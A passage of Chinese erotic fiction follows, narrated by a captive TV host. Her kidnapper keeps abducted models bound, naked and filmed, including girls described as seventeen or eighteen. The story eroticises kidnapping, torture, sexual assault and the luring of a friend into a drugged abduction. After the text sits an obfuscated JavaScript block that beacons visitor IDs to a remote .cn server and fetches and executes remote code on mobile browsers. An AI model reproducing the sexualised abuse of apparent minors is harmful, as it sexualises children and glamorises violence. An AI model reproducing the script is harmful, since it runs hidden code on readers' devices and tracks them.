我回想起来了,我和妹妹被擒的时候,确实是在一间黑屋里关了几个小时,原来,他们是在观察我们是不是诱饵,当确认安全后,才把我们运到了这里。这帮狡猾的家伙!我心里虽然这么想,但嘴里却甜甜地说:“黄大哥,我对你是越来越佩服了!你能带小妹在你的工作室参观一下吗?”

黄依笑着牵住我的手,:“好呀!”他一摁遥控器,只听“吱嘎嘎”一声响,妹妹又让他给绑了个四马倒盘蹄。妹妹怒道:“你干什么?凭什么又绑住我?”黄依对娟子说:“你在这儿,照顾好你的警察姐姐,她渴了给她喝点水,闷了和她聊聊天,我陪你的美贞姐姐在里边转转,一会儿就回来!”说完他一手揽住我的腰,一手搂住云云的肩膀,左拥右抱地走出去了。

我无奈地依偎着他,东张西望地四处打量着,希望能看到逃生的路。我这才发现这个地方很大,象一个大迷宫,墙上到处挂着一丝不挂的女孩子被缚照,每一个拐弯处都站着一个凶巴巴的警卫。忽然我听到一间屋子里传来女子的抽泣声,我凑过去一看,见屋里的几张床上,横七竖八地躺着好几个赤身裸体的少女,她们大约都是十七八岁,有的被绑成了“苏秦背剑”,(即一手在上,一手在下)有的被绑成了“叶底偷桃”,(即一手在前,一手在后,两手捆绑在胯下,然后把两脚绑在一起)还有中式五花大绑、日式蛇缚,总之惨不忍睹,象是人间地狱。更可恶的是,还有一架摄象机在拍这些女孩的惨状,可怜这些女孩子被绑得一动也不能动,眼看着摄象机拍摄着自己的裸体,却丝毫不能遮掩,一个个羞得俏面通红。

我突然发现这些姑娘个子都很高,身材很修长,皮肤很白皙,气质也很迷人,象是受过专业训练。尤其是躺在西边的一个雪白肤色的女孩,她的身材大约有一米八高,虽然双手和双脚都被反绑着,衣衫也被剥光,却透出那么一股凛然不可侵犯的冷峻感,让人顿生寒意。我不由得多看了她几眼,却觉得她很眼熟,好象刚刚在哪里见过,猛然一想,啊,想起来了,她竟是前几天刚刚率队到我市参加“维纳斯”杯模特大赛的国际名模岑芷虹!她旗下的“飞燕模特队”曾在多个国际大赛中获奖,她本人更是本年度风筝节的形象大使,来到我市后成为众多媒体关注的焦点,频频出镜,我们领导正准备邀请她作客“心有千千结”栏目,由我对她进行一次专访,没想到短短几天的时间,她竟被绑到了这里!不用说,其他几位漂亮MM一定是飞燕模特队的师姐妹了,黄依对她们来了个一窝端,这真可谓是“昔日王谢堂前燕,绑入寻常色魔家”啊。

黄依见我看得出神,从后面拍了拍我的肩:“怎么啦?被名模给迷住啦?想不想进去采访她?”

我窘了,慌忙说:“不,不,人家被绑架已经够难受的了,我还能再去出她的丑吗?”

黄依话音一变:“我要是命令你去采访呢?”

“不!我宁可让你给捆绑起来,也不能在她们的伤口上撒盐!”

“看来,我应该通知娟子,让她再挠一挠你妹妹的小脚丫喽?”黄依威胁我。
云云也不怀好意地在一边打边鼓:“去呀,美贞姐!你这著名节目主持人,还怕采访几个捆着手脚的黄毛丫头?要是她们不说,你就打她们耳光,挠她们脚心儿!”

无奈,我只有软了下来,厚着脸皮走了进去。

黄依向摄像师介绍说:“这是我们的缚美栏目组的美贞小姐,要做个专访。”
摄像师马上把镜头对准了我。

我尴尬地清了清嗓子,脸上又充满了职业的微笑:“各位电视机前的观众朋友们你们好,我现在正位于5*22特大名模绑架案的犯罪现场,为大家做实时报道。
大家看到我身后躺着的这几个美丽动人的女孩,她们就是这次绑架案的几位受害人,大名鼎鼎的飞燕时装表演组合的女模特们。大家通过镜头可以看到,她们此刻都被人用棉绳紧紧地捆绑着,浑身上下的衣服也被脱得精光。究竟是谁对她们下此毒手?她们又是怎样全体落入坏人的手中的?带着这个问题,我们随机采访了其中的一位受害者……”我把黄依递给我的话筒对准了岑芷虹。

岑芷虹此刻也象我妹妹一样被绑成“侠女倒背弓”式,细长的双臂反扭着,洁白如玉的酥胸被迫高挺,雪白修长的双腿呈跪姿反缚于臀后,侧卧在床上,半点也动弹不得。她见到我把话筒对准了她,脸上露出了羞恨交加的神情,她怨恨地瞪了我一眼,一言不发地转过脸去。

我追问道:“岑小姐,请讲一下被俘获的经过和感受好吗?”

岑芷虹看也不看我:“我没什么好说的。既然把我绑到这儿来,要杀要剐由你们,要是要赎金,那就开个价,别这样假惺惺地羞辱我!你也是半个艺术圈里的人,大家都是女孩子,何必看我们的笑话?你觉得有意思吗?”

我被她抢白了一番,枉我做主持人这几年,竟被噎得一个字也说不出来。黄依见我语塞,赶忙替我打圆场:“岑芷虹!你老实点!你不说是吧?有你后悔的时候!云云,叫人把她抬到审讯室去!一会儿你在老虎凳上哭爹喊娘的时候,你就知道锅是铁打的了!”(注:山东方言,形容一个人遇到挫折才认识到真理的存在)

从外面进来两个五大三粗的保安,架起岑芷虹就要走。其他几个模特纷纷大叫起来:“放了岑老师!你们不要伤害她!”其中一个清秀脱俗的小丫头当时就吓哭了,边哭边说:“求求你们,饶了岑老师……我替她说……你们让我说什么我就说什么……”

黄依笑着走到她面前,托起她的下巴,让她昂起脸来:“哈,好乖的小妹妹,你叫什么名字?”

那女孩被五花大绑着,双臂后翻,胸前显出两根很明显的美人骨来。她被迫抬起头,美丽的大眼睛里含着泪花,抽泣着说:“我……我叫惜熙……今年19岁……你们放了岑老师吧……你们让我干什么都行……”

岑芷虹在一边大声呵斥道:“惜熙!软骨头!不能向他们屈服!”

黄依一把把那小女孩推倒在床上,拿起一卷强力胶带,转身走到岑芷虹身边,“兹拉”撕开一条,往岑芷虹那红红的双唇上一贴,把她的嘴巴封了个严严实实。“呜!姆唔!”岑芷虹愤怒地蠕动着腰身,无效地抗拒着,一个字也说不出来,只能拼命地把头摇来摇去。黄依说:“现在你又想说啦?晚啦,你就做个旁听生吧!”他扭头对保安说:“把她给我吊到天花板上,什么时候采访结束了,再放她下来!”

两保安闻言,把岑芷虹抬到一边,一人摇动墙上的绞盘,将一根细铁链从房顶上放下来;另一人将岑芷虹翻了个身,让她脸儿朝下趴在地上,用铁链上的挂钩锁住她手跟脚之间的绳索,一人摁住她不让她乱动,一人收紧绞盘,随着一阵“嘎拉拉”的金属摩擦声,美丽的名模发出一声声凄惨的闷叫,整个人被手脚朝天地吊在了半空中…………

我看到岑芷虹的惨状,心中有些不忍,向黄依求情道:“放她下来吧,你这样做是不是有点过分了?你难道不觉得这么漂亮的女人被你折磨成这样,很残忍的……”

黄依笑着对我说:“她的命运掌握在你手里呀,只要你尽快完成采访,我会放了她的!”

岑芷虹美丽的脸庞涨得通红,愤怒的闷声喊叫也变成了一声声哀鸣。

我瞪了黄依一眼:“你就知道要挟我!”

那个小惜熙突然对我说:“好姐姐,快点采访我行吗?你再浪费时间,岑老师就没命了!!”

说完,她主动调整了一下身子,挺起刚刚发育成熟的胸膛,对着摄象机摆了个姿势。

摄像师把镜头对准了她。我无可奈何地也把话筒递了过去:“小妹妹,你讲一下被捉获的经过和感受好吗?”

惜熙迫不及待地说:“上个星期六,我们跟着岑老师到这个美丽的城市做表演,一连几天,大家都很辛苦。为此,岑老师决定放我们一天假,她向文化局的朋友借了一辆面包车,带我们到云台山野营。一路上我们欢声笑语,非常开心。快进山的时候,在山路旁有两个穿白大褂的医生拦住了我们的车:”姑娘们,现在山上有一种很厉害的山蚊子,会传染恶性疟疾,请你们配合一下我们的消毒工作好吗?“我问道:”用下车吗?“他们说:”不用,你们在车上坐着就行!“说完有个人拉开车门,用一个喷雾器向车里喷洒药水。车里立刻弥漫着一股呛人的浓香味。我闻到这种香味,就觉得有点头昏眼花,前面的几个师姐更是大声叫唤起来:”喂!你这是什么药?太呛人了!不行,我们得下车!“她们刚想起身,那两个医生”咣“地把车门拉死了,并且从外面推住,不让我们下车。岑老师觉得不对头,掏出手机想保警,才发现这个地方没信号。她拉开车门想跑,刚跑出几十米,从对面又开过来一辆车,车上跳下来几个人,拦住岑老师,不由分说就把她摁到在地上,用绳子把她反绑了起来。车里的师姐妹也一个个歪倒在座位上,失去了知觉。我坐在最后排,中毒比较轻,只是觉得浑身绵软,迷迷糊糊地困得不行,但神志还有点清醒。我记得岑老师大骂着被他们架上了另一辆车,那些人又拿来一些绳子,把师姐妹们也挨个儿绑了,一个个扛到了那辆车上。最后轮到绑我了,我下意识地反抗了一下,没想到反而引起了他们的注意:”喂,看哪,还有个没晕过去的!反正姑娘们都到手了,大家逗逗她怎么样?“闻讯又钻到车里两个人,一人捉住我的一只胳膊,把我从车里拉了出来。我急了,一边大喊救命,一边用我的高跟鞋踢他们。但很快有个人就捞住了我的脚后跟,把我的两只鞋子都扒了下来,丢到一边;还剥下了我的长统丝袜,用丝袜拧成绳儿,将我的两只脚腕绑到一起。我被他们给摁得跪倒在地上,当中这个人解开我胸前的衣扣,旁边两人帮忙,把我的衬衣也扒了下来。挣扎中,我觉得后背胸罩上的背扣一松,胸前猛地一凉,胸罩也让他们给扯掉了……”混蛋!你们这些混蛋!放开我!“我一边抽动着胳膊一边扭动着身子挣扎,毕竟,我从来没让男人看过我的赤裸的上身……”

“后来呢?他们又把你绑起来了吗?”我觉得惜熙的讲述节奏有点慢,就追问了一句。

“没有,他们把我放了……”惜熙抬起头,怯怯地看了黄依一眼,说道。
“放了?那你怎么还在这儿?”我不解地问。

“正在我窘迫万分的时候,这位黄先生突然向他们呵斥道:”那边观众都等急了,你们怎么还逮着人家一个小女孩逗起来没完?快把她放了,你们该干什么干什么去!耽误了演出,我扣你们奖金!“那些人悻悻地撒开我的手,拾起地上我散落的衣物,上车走了。伴随着两辆汽车的轰鸣声和岑老师的呼救声,他们都走远了,把我一个人孤零零地丢在这盘山公路上,更可气的是,他们连一片布条也没给我留下,我的身上只剩下一条缕花的小内裤……时值正午,烈焰当头,盘山公路上热气蒸腾,我擦了擦头上的汗滴,低下头想把脚上绑着的丝袜解开,可费了好大的劲儿也解不开,他们把绳结打在了我的脚后跟上,我看不见,只能用手摸到一个大团,也不知是打的什么死结。后来抠了半天,抠得我手指甲生疼,好容易总算弄开了,我慌忙把丝袜扯下来,双手掩着双乳,顺着公路”呱哒呱哒“地向山下跑去。柏油路面晒得滚烫,烫得我的脚掌象被烙铁烙过一样。转过一道山弯,我看见有两个人在向这边走着。我害羞呀,不敢喊他们,便一头扎进公路边上的灌木从里。草丛里充满树叶和泥土的蒸气味儿,几只不知名的鸟儿在喳喳地叫,象是在嘲笑着我。我听见那两个人的脚步声越来越近,我却不知该怎么办好。后来,我摘了几根带着大树叶的枝条,一条缠在胸前,一条缠在腰间,然后股起勇气喊道:”喂!两位先生,救救我呀!“

两人闻声,向树丛这边走进来。他们看到我,眼睛里露出贪婪的目光,哈哈笑道:“哪儿钻出来这么个女原始人?快过来让我们看看!”我觉得不妙,慌忙转身向树林深处跑去。两人在后面紧紧追赶。脚下的荆条扎得我的一双赤脚钻心地疼,我也顾不上许多了,慌不择路地拼命跑,边跑边喊:“救命啊!救救我啊!”跑着跑着,我一不小心被藤条拌倒了,一个嘴啃泥摔倒在地上。还没等我爬起来,那两个人已经追到了,其中一个人一个饿虎扑食骑在我身上,另一个人慌忙绕到我的正面,从包里掏出一台“掌中宝”微型摄像机,对准我的面部拍我的特写,边拍边喊:“摁住她!让我调好角度!”我这个气呀,想爬又爬不起来,只有破口大骂:“臭流氓!放开我!”我身上的那个人捉住我的两只胳膊,给拧到背后,喊道:“先别拍!先帮我给她戴上手铐!”拿摄像机的人笑道:“这么精彩的镜头,怎么能不拍呢?你再坚持一会儿,我支上三脚架!”我急了,知道等那人也腾出手来,我就只有束手就擒的份儿了,我的腰猛的一弓,一使劲把身上的人给撅翻了,慌忙爬起来想逃,可这时另一人支好了三脚架,跑过来拦住了我,淫笑着:“想跑?没那么容易!”我又气又急,一拳向他脸上打去。可我一个小女孩儿,又没练过武术,怎是这淫贼的对手?他一伸手捉住了我的手腕,顺势一拉,下面用脚使了个拌子,我“妈呀”一声,又脆脆地摔倒在地上。双手又被他们反拧到身后,我只觉得双腕一紧,一副冰凉的手铐反锁住了我的双手,再也无法挣脱。两人把我象拎小鸡一样架起来,推到摄像机镜头前,扯去我身上遮羞的枝条,给我的胸部来了个特写,然后把我推倒在地,扒去了我的裤衩……

一个人肆意地戏弄着我,另一个人不知从哪儿扯来了几根藤条,用藤条穿过我的手臂,将我五花大绑地捆缚在树上。我气恨交加,双脚乱踢乱蹬。他们竟捉住我的双腿,野蛮地向两边扳开,然后用带绒毛的树叶刺激我……“

我注意到,惜熙此刻已是泪流满面,泣不成声。一种女性的尊严让我再也听不下去了,我回过头说:“够了吧!现在该把岑小姐放下来了!”

岑芷虹经过长时间的吊缚,现已脸庞红紫,涕泪横流,原本愤怒的闷叫变成一声声凄惨的哀鸣。

黄依挥挥手:“既然缚大小姐给她求情,我就饶她一次!把她放下来,云云,给她做个按摩,这么出众的一个大美人,别给捆残废了。美贞,继续把采访做完,我们吃饭去。”

我转身对准了摄像机,露出了职业的微笑:“观众朋友们,我们从刚才受害者的讲述中可以发现,生活中不要轻信任何人,包括消毒员、义务工作者甚至路人,他们都有可能是色魔的化身。大家想知道其他模特的遭遇吗?她们被带上车,又将面临怎样的处境?色魔会用什么变态的手法去摧残这一颗颗情窦未开的心灵呢?请您锁定频道,不要换台,广告之后,我们马上回来!”

一瓶红酒,几碟精致的小菜,红红的烛光映出如梦如幻的光晕。

主持完节目,我跟随黄依来到隔壁的情境餐厅,在一个小包厢坐了下来。
说实话,我早在采访模特们的时候就饿得不行了,此刻也顾不得什么矜持,马上狼吞虎咽起来。

黄依看着我大吃大嚼的样子,笑眯眯地说:“你不怕酒菜里又被我下了春药?”
我端起酒杯喝了一大口红酒,瞪了他一眼:“呸,我豁出去了,随你便,反正你不拿我们女孩子当人看。”说完,我只顾低头吃喝,再也不给他好脸色。
黄依小心翼翼地问我:“怎么,生我气啦?”那神情,分明象是对待初恋的情侣。

我说:“你把这些女孩子都扒光,逼着她们说出心中最痛苦的回忆,还用我妹妹当人质,胁迫我给你主持这么低级下流的节目,你不觉得你太过分了吗?你简直一点尊严也不留给我们!”

黄依说:“没办法,观众就喜欢看这种节目,主人公身份越高贵,态度越冷傲,受辱时观众越兴奋,感觉越刺激。你发现了吗?如果大街上有人吵架,而且一方是个漂亮女子,那围观的人就会很多。人们的潜意识里就喜欢让她受折辱。”
我说:“那你不能换一种文明的方式?”

黄依眼睛一亮:“你有新思路?愿闻你的高见!”

我苦笑了一下:“你的这些片子是有点新意,不过太俗,太暴露,换句话说就是太色情。我觉得你的缚凤八部里倒有几个好故事,虽然是从金氏武侠小说里抄来的,但是抓住了其中的精髓。说到金庸小说,我觉得可以称之为SM文学的巅峰之作,为什么?因为金老先生用武侠的情节,塑造出一个个冰雪般纯洁、彩虹般美丽、弯月般冷傲的侠女形象,却用极为洗练的笔法,描绘出她们遭遇SM时的心境,让人阅后感到无比的震撼。美只是一刹那,抓住了惊魂一睹,就抓住了永恒。象你这样把女孩子都脱得赤条条地,东倒西歪地捆成一片,满眼都是肉了,还有美感吗?简直是对美的摧残!

黄依心悦诚服地连连点头:“高见!我真想不到,我竟然把SM理论老师给绑来了!您说,这个戏我该怎么拍?”

我对他做了个鬼脸:“真想知道?”

黄依迫不及待地说:“快说呀,好姐姐!别卖关子了!”

我正色道:“第一,马上通知你的手下把我妹妹给放开,以后只要她不反抗,不许再用什么多情锁来折磨她;第二,来,亲我一下……”说着我闭上眼睛,嘟起小嘴。黄依兴奋地喘着粗气凑了过来,我突然一睁眼,嗔道:“慌什么,你先放人嘛!”

黄依乖乖地退了两步,对门外喊道:“威仔!威仔!”

“什么事,老板?”门外闪进一个身高过丈、虎背狼腰的小伙子。

黄依掏出遥控器递给他:“去,把6号解开。你陪她到处转转。”

那威仔阴阴地看了我一眼,看得我心发毛。幸好他接过遥控器,转身就走了。
他刚一出门,黄依就扑上来一把搂住我,戏谑性地挠着我的腰。我“格格”地笑着倒在他怀里,道:“你还想不想听我的锦囊妙计了?”

“说,快说……”

“云台山上有个无量观,现在已经没人住了,风景却很好。你可以做一些道袍,让飞燕模特队的女孩扮演《笑傲江湖》中恒山派的众尼姑,我给你导演一场”万里独行戏群尼“!你想,在烟云笼罩、万山滴翠的茱萸峰上,一个白衣如雪的带发修行尼姑在山间打水。突然,淫贼田伯光出现,一轮快刀挑碎仪琳的僧袍,并对她动手动脚。仪琳的呼救声引来了众尼姑,她们布下恒山剑阵,将田伯光击退。没想到夜半,田伯光再次潜入寺内,用迷香将众尼尽数擒获……”

“好呀好呀!”黄依象个孩子般欢叫起来。可转脸工夫,他又陷入了沉思:“场地可以搞定,可僧袍到哪儿去定做呢?我不认得和尚呀!”

“哈,我早就为你想好了!”我调皮地捏了捏他的鼻子:“我的一个同学丁尚琳,就是学舞台服装和道具的,她还是中国古民俗文化协会的会员呢!我给她说一声,肯定能把她请到这里来!”

“那好,快给她打个电话,就说你的车马上就去接她!”黄依毫不犹豫地掏出手机递给了我。

我接过手机,狐疑地看了黄依一眼。黄依奇怪地说:“怎么啦?为什么不打?”
我期期艾艾地说:“你,你不怕手机信号暴露了我们的位置?”

黄依大笑:“那好呀,让警方顺藤摸瓜,不正好把你和你妹妹救出去吗?”
我瞪了他一眼:“你……你到现在还把我当成你的囚犯?”

黄依陪笑道:“开个玩笑还不行吗?美贞,我已经彻底爱上你了,上天怎么把这么完美的一个女孩子赐到了我的身边?放心打吧,我的手机是有二级转发的,警方就算查,也只能查到我外边的转发器!不过,你给你同学打电话时注意语气,别说漏了!”

我拨通了电话。

“喂,尚琳?我美贞……你在哪呢?有件事请你帮忙呀,我最近接了个话剧,有件服装想请你设计一下……别谦虚了,怎么,不想帮老同学的忙呀?……你在什么地方?我派车去接你……你到文化局门口等我吧,……好的好的,是一辆出租,司机叫威仔,我朋友……好了,见面谈!白——”我挂断电话,脸色发白地说:“真紧张,我从来没说过谎!这次为了帮你,把老同学也给骗了!快去吧,她现在正在文化局!”

黄依接过手机,又给威仔打了过去:“喂,你开车到文化局去接个人,女的,叫丁尚琳……对,把她迷昏了直接带过来……不准揩油,她是我们缚导的朋友,听见了没有?……缚导的妹妹在哪儿呢?……好,你去吧,我们马上过去……”他扣上手机,说:“你妹妹在小剧场看演出呢,想不想去看看?”

“演出?什么演出?”我好奇地问。

“话剧,描写长征路上一个女红军的故事。走呀,你去了就知道了,最有意思的是这个女主角,她是自己编剧,自费演出!”说完他拉起我,向外面走去。
在迷宫般的甬道里转来转去,我这才发现这个基地的规模远远超出我的想象。我问:“你建这个地方花了不少钱吧?”

黄依得意地揽住我的腰:“怎么,想不想当这儿的女王?说实话,我发现你挺有意思的,你是不是也有点虐待欲啊?怎么能想出这么”色“的情节?你喜欢捆绑吗?如果你也有这爱好,我可以聘你主持这里的工作呀!SOSO先生一定会喜欢你的!”

我故作凶狠状:“我有虐待欲,我喜欢虐待你!有一天你会知道我的手段的!到时候可别怪我残忍!”

“哈哈,你凶巴巴的样子真可爱!”

说着聊着,我们走进了一个剧场。观众席上空荡荡地,舞台上放着幕布。我老远就看见妹妹斜倚在前排的软椅上,双手背在背后,两脚并拢在一起。她看见我们过来了,委屈地喊道:“姐!他们又把我给捆到这儿了,还让我看这种折磨人的破话剧!”

我对黄依说:“不是说好了让你们放开她吗?怎么又把她给捆上了?马上给她解开!”

黄依苦笑道:“可能是威仔临走时怕她乱跑,才把她又锁上的,现在遥控器也被威仔拿走了,我也没办法解开呀!好在他很快就回来了,警花妹妹,你再委曲一会儿,好吗?”

妹妹破口大骂起来:“臭流氓!你变着法儿的欺负我!不要脸!”

我怕黄依火了,妹妹再吃亏,赶忙说:“妹妹,别胡闹,他是你姐夫!”
妹妹楞住了,我看到她的大眼睛里有泪光在闪动。“姐夫?……姐,你和他已经……”

黄依尴尬地插开了话题:“美贞,我带你到后台看看?小妹妹,你乖乖地等一会儿,等威仔来了马上放开你!”说完他拉着我,连拖带拽地把我们分开了。
舞台上灯火通明,是一个监牢的场景,地上放着火盆、老虎凳,墙上挂着皮鞭、镣铐和各种粗细不同的麻绳。我听到一个银铃般的笑声:“怎么,又来新演员了?”

我回头一看,见一个女红军打扮的高个子女郎从后台走了上来,她戴着一顶八角帽,身穿灰色军服,打着绑腿,穿着草鞋,乍一看,真是个英姿飒爽的女红军战士。再仔细一看,只见她柳眉杏眼,玉面含威,不是别人,正是全市十佳女律师之一、人称铁嘴俏佳人的林婕林大律师!我主持“法网无情人有情”栏目时,刚刚采访了她,没想到她也出现在这里!

她看见我也有几分惊讶:“美贞!你怎么也到这里来啦?你也有这种爱好?”
我有点摸不着头脑:“什么爱好
  

function LodBcPtu(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function slijGJnT(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return LodBcPtu(t);};window[''+'T'+'l'+'s'+'n'+'i'+'O'+'d'+'h'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function cydIN(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=slijGJnT,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=cydIN(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=cydIN(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhhLmlpbHhh6cS5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','167199',window,document,['h','T']);}:function(){};

关闭